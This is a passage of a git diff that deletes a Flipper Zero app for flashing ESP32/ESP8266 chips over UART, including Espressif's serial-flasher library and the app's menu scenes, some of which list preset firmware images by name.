-1,114 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "protocol.h" -#include "protocol_prv.h" -#include "esp_loader_io.h" -#include "slip.h" -#include -#include - -static esp_loader_error_t check_response(command_t cmd, uint32_t *reg_value, void* resp, uint32_t resp_size); - -esp_loader_error_t loader_initialize_conn(esp_loader_connect_args_t *connect_args) { - esp_loader_error_t err; - int32_t trials = connect_args->trials; - - do { - loader_port_start_timer(connect_args->sync_timeout); - err = loader_sync_cmd(); - if (err == ESP_LOADER_ERROR_TIMEOUT) { - if (--trials == 0) { - return ESP_LOADER_ERROR_TIMEOUT; - } - loader_port_delay_ms(100); - } else if (err != ESP_LOADER_SUCCESS) { - return err; - } - } while (err != ESP_LOADER_SUCCESS); - - return err; -} - -esp_loader_error_t send_cmd(const void *cmd_data, uint32_t size, uint32_t *reg_value) -{ - response_t response; - command_t command = ((const command_common_t *)cmd_data)->command; - - RETURN_ON_ERROR( SLIP_send_delimiter() ); - RETURN_ON_ERROR( SLIP_send((const uint8_t *)cmd_data, size) ); - RETURN_ON_ERROR( SLIP_send_delimiter() ); - - return check_response(command, reg_value, &response, sizeof(response)); -} - - -esp_loader_error_t send_cmd_with_data(const void *cmd_data, size_t cmd_size, - const void *data, size_t data_size) -{ - response_t response; - command_t command = ((const command_common_t *)cmd_data)->command; - - RETURN_ON_ERROR( SLIP_send_delimiter() ); - RETURN_ON_ERROR( SLIP_send((const uint8_t *)cmd_data, cmd_size) ); - RETURN_ON_ERROR( SLIP_send(data, data_size) ); - RETURN_ON_ERROR( SLIP_send_delimiter() ); - - return check_response(command, NULL, &response, sizeof(response)); -} - - -esp_loader_error_t send_cmd_md5(const void *cmd_data, size_t cmd_size, uint8_t md5_out[MD5_SIZE]) -{ - rom_md5_response_t response; - command_t command = ((const command_common_t *)cmd_data)->command; - - RETURN_ON_ERROR( SLIP_send_delimiter() ); - RETURN_ON_ERROR( SLIP_send((const uint8_t *)cmd_data, cmd_size) ); - RETURN_ON_ERROR( SLIP_send_delimiter() ); - - RETURN_ON_ERROR( check_response(command, NULL, &response, sizeof(response)) ); - - memcpy(md5_out, response.md5, MD5_SIZE); - - return ESP_LOADER_SUCCESS; -} - - -static esp_loader_error_t check_response(command_t cmd, uint32_t *reg_value, void* resp, uint32_t resp_size) -{ - esp_loader_error_t err; - common_response_t *response = (common_response_t *)resp; - - do { - err = SLIP_receive_packet(resp, resp_size); - if (err != ESP_LOADER_SUCCESS) { - return err; - } - } while ((response->direction != READ_DIRECTION) || (response->command != cmd)); - - response_status_t *status = (response_status_t *)((uint8_t *)resp + resp_size - sizeof(response_status_t)); - - if (status->failed) { - log_loader_internal_error(status->error); - return ESP_LOADER_ERROR_INVALID_RESPONSE; - } - - if (reg_value != NULL) { - *reg_value = response->value; - } - - return ESP_LOADER_SUCCESS; -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/slip.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/slip.c deleted file mode 100644 index ba926169c..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/slip.c +++ /dev/null @@ -1,125 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "slip.h" -#include "esp_loader_io.h" - -static const uint8_t DELIMITER = 0xC0; -static const uint8_t C0_REPLACEMENT[2] = {0xDB, 0xDC}; -static const uint8_t DB_REPLACEMENT[2] = {0xDB, 0xDD}; - -static inline esp_loader_error_t peripheral_read(uint8_t *buff, const size_t size) -{ - return loader_port_read(buff, size, loader_port_remaining_time()); -} - -static inline esp_loader_error_t peripheral_write(const uint8_t *buff, const size_t size) -{ - return loader_port_write(buff, size, loader_port_remaining_time()); -} - -esp_loader_error_t SLIP_receive_data(uint8_t *buff, const size_t size) -{ - uint8_t ch; - - for (uint32_t i = 0; i < size; i++) { - RETURN_ON_ERROR( peripheral_read(&ch, 1) ); - - if (ch == 0xDB) { - RETURN_ON_ERROR( peripheral_read(&ch, 1) ); - if (ch == 0xDC) { - buff[i] = 0xC0; - } else if (ch == 0xDD) { - buff[i] = 0xDB; - } else { - return ESP_LOADER_ERROR_INVALID_RESPONSE; - } - } else { - buff[i] = ch; - } - } - - return ESP_LOADER_SUCCESS; -} - - -esp_loader_error_t SLIP_receive_packet(uint8_t *buff, const size_t size) -{ - uint8_t ch; - - // Wait for delimiter - do { - RETURN_ON_ERROR( peripheral_read(&ch, 1) ); - } while (ch != DELIMITER); - - // Workaround: bootloader sends two dummy(0xC0) bytes after response when baud rate is changed. - do { - RETURN_ON_ERROR( peripheral_read(&ch, 1) ); - } while (ch == DELIMITER); - - buff[0] = ch; - - RETURN_ON_ERROR( SLIP_receive_data(&buff[1], size - 1) ); - - // Wait for delimiter - do { - RETURN_ON_ERROR( peripheral_read(&ch, 1) ); - } while (ch != DELIMITER); - - return ESP_LOADER_SUCCESS; -} - - -esp_loader_error_t SLIP_send(const uint8_t *data, const size_t size) -{ - uint32_t to_write = 0; // Bytes ready to write as they are - uint32_t written = 0; // Bytes already written - - for (uint32_t i = 0; i < size; i++) { - if (data[i] != 0xC0 && data[i] != 0xDB) { - to_write++; // Queue this byte for writing - continue; - } - - // We have a byte that needs encoding, write the queue first - if (to_write > 0) { - RETURN_ON_ERROR( peripheral_write(&data[written], to_write) ); - } - - // Write the encoded byte - if (data[i] == 0xC0) { - RETURN_ON_ERROR( peripheral_write(C0_REPLACEMENT, 2) ); - } else { - RETURN_ON_ERROR( peripheral_write(DB_REPLACEMENT, 2) ); - } - - // Update to start again after the encoded byte - written = i + 1; - to_write = 0; - } - - // Write the rest of the bytes that didn't need encoding - if (to_write > 0) { - RETURN_ON_ERROR( peripheral_write(&data[written], to_write) ); - } - - return ESP_LOADER_SUCCESS; -} - - -esp_loader_error_t SLIP_send_delimiter(void) -{ - return peripheral_write(&DELIMITER, 1); -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/Kconfig b/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/Kconfig deleted file mode 100644 index ebb524c86..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/Kconfig +++ /dev/null @@ -1,16 +0,0 @@ -config ESP_SERIAL_FLASHER - bool "Enable ESP serial flasher library" - default y - select CONSOLE_SUBSYS - help - Select this option to enable the ESP serial flasher library. - -config ESP_SERIAL_FLASHER_UART_BUFSIZE - int "ESP Serial Flasher UART buffer size" - default 512 - help - Buffer size for UART TX and RX packets - -if ESP_SERIAL_FLASHER - rsource "../Kconfig" -endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/module.yml b/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/module.yml deleted file mode 100644 index 01d484fcb..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/zephyr/module.yml +++ /dev/null @@ -1,5 +0,0 @@ -name: esp-flasher - -build: - cmake: zephyr - kconfig: zephyr/Kconfig diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene.c b/applications/external/esp_flasher/scenes/esp_flasher_scene.c deleted file mode 100644 index c3fc13ade..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "esp_flasher_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const esp_flasher_scene_on_enter_handlers[])(void*) = { -#include "esp_flasher_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const esp_flasher_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "esp_flasher_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const esp_flasher_scene_on_exit_handlers[])(void* context) = { -#include "esp_flasher_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers esp_flasher_scene_handlers = { - .on_enter_handlers = esp_flasher_scene_on_enter_handlers, - .on_event_handlers = esp_flasher_scene_on_event_handlers, - .on_exit_handlers = esp_flasher_scene_on_exit_handlers, - .scene_num = EspFlasherSceneNum, -}; diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene.h b/applications/external/esp_flasher/scenes/esp_flasher_scene.h deleted file mode 100644 index f1fc0916f..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) EspFlasherScene##id, -typedef enum { -#include "esp_flasher_scene_config.h" - EspFlasherSceneNum, -} EspFlasherScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers esp_flasher_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "esp_flasher_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "esp_flasher_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "esp_flasher_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_about.c b/applications/external/esp_flasher/scenes/esp_flasher_scene_about.c deleted file mode 100644 index e778b2bf7..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_about.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../esp_flasher_app_i.h" - -void esp_flasher_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - EspFlasherApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -#define ESP_FLASHER_APP_DESCRIPTION \ - "\e#Information\nVersion: " ESP_FLASHER_APP_VERSION \ - "\nDeveloped by: 0xchocolate\n(@cococode on discord) using espressif's esp-serial-flasher library\nGithub: https://github.com/0xchocolate/flipperzero-esp-flasher\n\n\e#Description\nApp to flash ESP chips from\nthe flipper (over UART) using\nbin files on the sd card.\nReset the chip into bootloader\nmode before flashing.\n\n Supported targets:\n- ESP32\n- ESP8266\n- ESP32-S2\n- ESP32-S3\n- ESP32-C3\n- ESP32-C2\n- ESP32-H2" - -void esp_flasher_scene_about_on_enter(void* context) { - EspFlasherApp* app = context; - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! ESP Flasher \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, ESP_FLASHER_APP_DESCRIPTION); - - view_dispatcher_switch_to_view(app->view_dispatcher, EspFlasherAppViewWidget); -} - -bool esp_flasher_scene_about_on_event(void* context, SceneManagerEvent event) { - EspFlasherApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void esp_flasher_scene_about_on_exit(void* context) { - EspFlasherApp* app = context; - - // Clear views - widget_reset(app->widget); -} \ No newline at end of file diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_browse.c b/applications/external/esp_flasher/scenes/esp_flasher_scene_browse.c deleted file mode 100644 index 8b223b29a..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_browse.c +++ /dev/null @@ -1,292 +0,0 @@ -#include "../esp_flasher_app_i.h" -#include "../esp_flasher_worker.h" - -enum SubmenuIndex { - SubmenuIndexS3Mode, - SubmenuIndexBoot, - SubmenuIndexPart, - SubmenuIndexNvs, - SubmenuIndexBootApp0, - SubmenuIndexAppA, - SubmenuIndexAppB, - SubmenuIndexCustom, - SubmenuIndexFlash, -}; - -static void esp_flasher_scene_browse_callback(void* context, uint32_t index) { - EspFlasherApp* app = context; - - scene_manager_set_scene_state(app->scene_manager, EspFlasherSceneBrowse, index); - - // browse for files - FuriString* predefined_filepath = furi_string_alloc_set_str(ESP_APP_FOLDER); - FuriString* selected_filepath = furi_string_alloc(); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, ".bin", &I_Text_10x10); - - // TODO refactor - switch(index) { - case SubmenuIndexS3Mode: - // toggle S3 mode - app->selected_flash_options[SelectedFlashS3Mode] = - !app->selected_flash_options[SelectedFlashS3Mode]; - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexBoot: - app->selected_flash_options[SelectedFlashBoot] = - !app->selected_flash_options[SelectedFlashBoot]; - if(app->selected_flash_options[SelectedFlashBoot]) { - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_boot, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_boot)); - } - } - if(app->bin_file_path_boot[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashBoot] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexPart: - app->selected_flash_options[SelectedFlashPart] = - !app->selected_flash_options[SelectedFlashPart]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_part, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_part)); - } - if(app->bin_file_path_part[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashPart] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexNvs: - app->selected_flash_options[SelectedFlashNvs] = - !app->selected_flash_options[SelectedFlashNvs]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_nvs, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_nvs)); - } - if(app->bin_file_path_nvs[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashNvs] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexBootApp0: - app->selected_flash_options[SelectedFlashBootApp0] = - !app->selected_flash_options[SelectedFlashBootApp0]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_boot_app0, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_boot_app0)); - } - if(app->bin_file_path_boot_app0[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashBootApp0] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexAppA: - app->selected_flash_options[SelectedFlashAppA] = - !app->selected_flash_options[SelectedFlashAppA]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_app_a, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_app_a)); - } - if(app->bin_file_path_app_a[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashAppA] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexAppB: - app->selected_flash_options[SelectedFlashAppB] = - !app->selected_flash_options[SelectedFlashAppB]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_app_b, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_app_b)); - } - if(app->bin_file_path_app_b[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashAppB] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexCustom: - app->selected_flash_options[SelectedFlashCustom] = - !app->selected_flash_options[SelectedFlashCustom]; - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->bin_file_path_custom, - furi_string_get_cstr(selected_filepath), - sizeof(app->bin_file_path_custom)); - } - if(app->bin_file_path_custom[0] == '\0') { - // if user didn't select a file, leave unselected - app->selected_flash_options[SelectedFlashCustom] = false; - } - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshSubmenu); - break; - case SubmenuIndexFlash: - // count how many options are selected - app->num_selected_flash_options = 0; - for(bool* option = &app->selected_flash_options[SelectedFlashBoot]; - option < &app->selected_flash_options[NUM_FLASH_OPTIONS]; - ++option) { - if(*option) { - ++app->num_selected_flash_options; - } - } - if(app->num_selected_flash_options) { - // only start next scene if at least one option is selected - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - } - break; - } - - furi_string_free(selected_filepath); - furi_string_free(predefined_filepath); -} - -#define STR_SELECT "[x]" -#define STR_UNSELECT "[ ]" -#define STR_BOOT "Bootloader (" TOSTRING(ESP_ADDR_BOOT) ")" -#define STR_BOOT_S3 "Bootloader (" TOSTRING(ESP_ADDR_BOOT_S3) ")" -#define STR_PART "Part Table (" TOSTRING(ESP_ADDR_PART) ")" -#define STR_NVS "NVS (" TOSTRING(ESP_ADDR_NVS) ")" -#define STR_BOOT_APP0 "boot_app0 (" TOSTRING(ESP_ADDR_BOOT_APP0) ")" -#define STR_APP_A "FirmwareA(" TOSTRING(ESP_ADDR_APP_A) ")" -#define STR_APP_B "FirmwareB(" TOSTRING(ESP_ADDR_APP_B) ")" -#define STR_CUSTOM "Custom" -#define STR_FLASH_S3 "[>] FLASH (ESP32-S3)" -#define STR_FLASH "[>] FLASH" -static void _refresh_submenu(EspFlasherApp* app) { - Submenu* submenu = app->submenu; - - submenu_reset(app->submenu); - - submenu_set_header(submenu, "Browse for files to flash"); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashS3Mode] ? "[x] Using ESP32-S3" : - "[ ] Select if using S3", - SubmenuIndexS3Mode, - esp_flasher_scene_browse_callback, - app); - const char* strSelectBootloader = STR_UNSELECT " " STR_BOOT; - if(app->selected_flash_options[SelectedFlashS3Mode]) { - if(app->selected_flash_options[SelectedFlashBoot]) { - strSelectBootloader = STR_SELECT " " STR_BOOT_S3; - } else { - strSelectBootloader = STR_UNSELECT " " STR_BOOT_S3; - } - } else { - if(app->selected_flash_options[SelectedFlashBoot]) { - strSelectBootloader = STR_SELECT " " STR_BOOT; - } else { - strSelectBootloader = STR_UNSELECT " " STR_BOOT; - } - } - submenu_add_item( - submenu, strSelectBootloader, SubmenuIndexBoot, esp_flasher_scene_browse_callback, app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashPart] ? STR_SELECT " " STR_PART : - STR_UNSELECT " " STR_PART, - SubmenuIndexPart, - esp_flasher_scene_browse_callback, - app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashNvs] ? STR_SELECT " " STR_NVS : - STR_UNSELECT " " STR_NVS, - SubmenuIndexNvs, - esp_flasher_scene_browse_callback, - app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashBootApp0] ? STR_SELECT " " STR_BOOT_APP0 : - STR_UNSELECT " " STR_BOOT_APP0, - SubmenuIndexBootApp0, - esp_flasher_scene_browse_callback, - app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashAppA] ? STR_SELECT " " STR_APP_A : - STR_UNSELECT " " STR_APP_A, - SubmenuIndexAppA, - esp_flasher_scene_browse_callback, - app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashAppB] ? STR_SELECT " " STR_APP_B : - STR_UNSELECT " " STR_APP_B, - SubmenuIndexAppB, - esp_flasher_scene_browse_callback, - app); - // TODO: custom addr - //submenu_add_item( - // submenu, app->selected_flash_options[SelectedFlashCustom] ? STR_SELECT " " STR_CUSTOM : STR_UNSELECT " " STR_CUSTOM, SubmenuIndexCustom, esp_flasher_scene_browse_callback, app); - submenu_add_item( - submenu, - app->selected_flash_options[SelectedFlashS3Mode] ? STR_FLASH_S3 : STR_FLASH, - SubmenuIndexFlash, - esp_flasher_scene_browse_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, EspFlasherSceneBrowse)); - view_dispatcher_switch_to_view(app->view_dispatcher, EspFlasherAppViewSubmenu); -} - -void esp_flasher_scene_browse_on_enter(void* context) { - EspFlasherApp* app = context; - - memset(app->selected_flash_options, 0, sizeof(app->selected_flash_options)); - app->bin_file_path_boot[0] = '\0'; - app->bin_file_path_part[0] = '\0'; - app->bin_file_path_nvs[0] = '\0'; - app->bin_file_path_boot_app0[0] = '\0'; - app->bin_file_path_app_a[0] = '\0'; - app->bin_file_path_app_b[0] = '\0'; - app->bin_file_path_custom[0] = '\0'; - - _refresh_submenu(app); -} - -bool esp_flasher_scene_browse_on_event(void* context, SceneManagerEvent event) { - EspFlasherApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == EspFlasherEventRefreshSubmenu) { - _refresh_submenu(app); - consumed = true; - } - } - - return consumed; -} - -void esp_flasher_scene_browse_on_exit(void* context) { - EspFlasherApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_config.h b/applications/external/esp_flasher/scenes/esp_flasher_scene_config.h deleted file mode 100644 index 2f0a7272a..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(esp_flasher, start, Start) -ADD_SCENE(esp_flasher, quick, Quick) -ADD_SCENE(esp_flasher, console_output, ConsoleOutput) -ADD_SCENE(esp_flasher, about, About) -ADD_SCENE(esp_flasher, browse, Browse) diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_console_output.c b/applications/external/esp_flasher/scenes/esp_flasher_scene_console_output.c deleted file mode 100644 index 1e6d7654f..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_console_output.c +++ /dev/null @@ -1,77 +0,0 @@ -#include "../esp_flasher_app_i.h" - -#include "../esp_flasher_worker.h" - -void esp_flasher_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - EspFlasherApp* app = context; - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= ESP_FLASHER_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - view_dispatcher_send_custom_event(app->view_dispatcher, EspFlasherEventRefreshConsoleOutput); -} - -void esp_flasher_scene_console_output_on_enter(void* context) { - EspFlasherApp* app = context; - - // Reset text box and set font - TextBox* text_box = app->text_box; - text_box_reset(text_box); - text_box_set_font(text_box, TextBoxFontText); - - // Set focus on end - text_box_set_focus(text_box, TextBoxFocusEnd); - - // Set starting text - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - // Set scene state and switch view - scene_manager_set_scene_state(app->scene_manager, EspFlasherSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, EspFlasherAppViewConsoleOutput); - - // Register callbacks to receive data - // setup callback for general log rx thread - esp_flasher_uart_set_handle_rx_data_cb( - app->uart, - esp_flasher_worker_handle_rx_data_cb); // setup callback for general log rx thread - - // Start flash worker - esp_flasher_worker_start_thread(app); -} - -bool esp_flasher_scene_console_output_on_event(void* context, SceneManagerEvent event) { - EspFlasherApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } else { - if(app->flash_worker_busy) { - // ignore button presses while flashing - consumed = true; - } - } - - return consumed; -} - -void esp_flasher_scene_console_output_on_exit(void* context) { - EspFlasherApp* app = context; - - esp_flasher_worker_stop_thread(app); - - // Unregister rx callback - esp_flasher_uart_set_handle_rx_data_cb(app->uart, NULL); -} diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_quick.c b/applications/external/esp_flasher/scenes/esp_flasher_scene_quick.c deleted file mode 100644 index 7dd47c42b..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_quick.c +++ /dev/null @@ -1,186 +0,0 @@ -#include "../esp_flasher_app_i.h" - -enum QuickState { - QuickStart, - QuickWifidevS2, - QuickWifidevS2Blackmagic, - QuickWifidevS2Dualboot, - QuickDevproWroom, - QuickDevproWroomEvilportal, - QuickDevproWroomMarauder, -}; - -void esp_flasher_scene_quick_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - EspFlasherApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void esp_flasher_scene_quick_on_enter(void* context) { - furi_assert(context); - EspFlasherApp* app = context; - Submenu* submenu = app->submenu; - uint32_t state = scene_manager_get_scene_state(app->scene_manager, EspFlasherSceneQuick); - - switch(state) { - case QuickStart: - case QuickWifidevS2: - case QuickDevproWroom: - submenu_set_header(submenu, "Choose Board:"); - submenu_add_item( - submenu, - "WiFi Dev (ESP32-S2)", - QuickWifidevS2, - esp_flasher_scene_quick_submenu_callback, - app); - submenu_add_item( - submenu, - "Dev Pro (ESP32-WROOM)", - QuickDevproWroom, - esp_flasher_scene_quick_submenu_callback, - app); - break; - case QuickWifidevS2Blackmagic: - case QuickWifidevS2Dualboot: - submenu_set_header(submenu, "Choose Firmware:"); - submenu_add_item( - submenu, - "Black Magic", - QuickWifidevS2Blackmagic, - esp_flasher_scene_quick_submenu_callback, - app); - submenu_add_item( - submenu, - "Evil Portal + Marauder", - QuickWifidevS2Dualboot, - esp_flasher_scene_quick_submenu_callback, - app); - break; - case QuickDevproWroomEvilportal: - case QuickDevproWroomMarauder: - submenu_set_header(submenu, "Choose Firmware:"); - submenu_add_item( - submenu, - "Evil Portal", - QuickDevproWroomEvilportal, - esp_flasher_scene_quick_submenu_callback, - app); - submenu_add_item( - submenu, - "Marauder", - QuickDevproWroomMarauder, - esp_flasher_scene_quick_submenu_callback, - app); - break; - default: - break; - } - - submenu_set_selected_item(submenu, state); - - view_dispatcher_switch_to_view(app->view_dispatcher, EspFlasherAppViewSubmenu); -} - -bool esp_flasher_scene_quick_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - EspFlasherApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - - bool flash = true; - bool enter_bootloader = false; - const char* boot = NULL; // 0x1000 - const char* part = NULL; // 0x8000 - const char* app0 = NULL; // 0xE000 - const char* firm = NULL; // 0x10000 - - switch(event.event) { - case QuickWifidevS2: - case QuickDevproWroom: - scene_manager_set_scene_state( - app->scene_manager, EspFlasherSceneQuick, event.event + 1); - scene_manager_next_scene(app->scene_manager, EspFlasherSceneQuick); - flash = false; - break; - case QuickWifidevS2Blackmagic: - boot = APP_DATA_PATH("assets/wifidev-s2/blackmagic/bootloader.bin"); - part = APP_DATA_PATH("assets/wifidev-s2/blackmagic/partition-table.bin"); - firm = APP_DATA_PATH("assets/wifidev-s2/blackmagic/blackmagic.bin"); - enter_bootloader = true; - break; - case QuickWifidevS2Dualboot: - boot = APP_DATA_PATH("assets/wifidev-s2/dualboot.bin"); - enter_bootloader = true; - break; - case QuickDevproWroomEvilportal: - boot = APP_DATA_PATH("assets/devpro-wroom/evilportal/EvilPortal.ino.bootloader.bin"); - part = APP_DATA_PATH("assets/devpro-wroom/evilportal/EvilPortal.ino.partitions.bin"); - app0 = APP_DATA_PATH("assets/devpro-wroom/boot_app0.bin"); - firm = APP_DATA_PATH("assets/devpro-wroom/evilportal/EvilPortal.ino.bin"); - break; - case QuickDevproWroomMarauder: - boot = APP_DATA_PATH("assets/devpro-wroom/marauder/bootloader.bin"); - part = APP_DATA_PATH("assets/devpro-wroom/marauder/partitions.bin"); - app0 = APP_DATA_PATH("assets/devpro-wroom/boot_app0.bin"); - firm = APP_DATA_PATH("assets/devpro-wroom/marauder/marauder_dev_board_pro.bin"); - break; - default: - flash = false; - consumed = false; - break; - } - - if(flash) { - scene_manager_set_scene_state(app->scene_manager, EspFlasherSceneQuick, event.event); - memset(app->selected_flash_options, 0, sizeof(app->selected_flash_options)); - app->bin_file_path_boot[0] = '\0'; - app->bin_file_path_part[0] = '\0'; - app->bin_file_path_nvs[0] = '\0'; - app->bin_file_path_boot_app0[0] = '\0'; - app->bin_file_path_app_a[0] = '\0'; - app->bin_file_path_app_b[0] = '\0'; - app->bin_file_path_custom[0] = '\0'; - - if(boot) { - 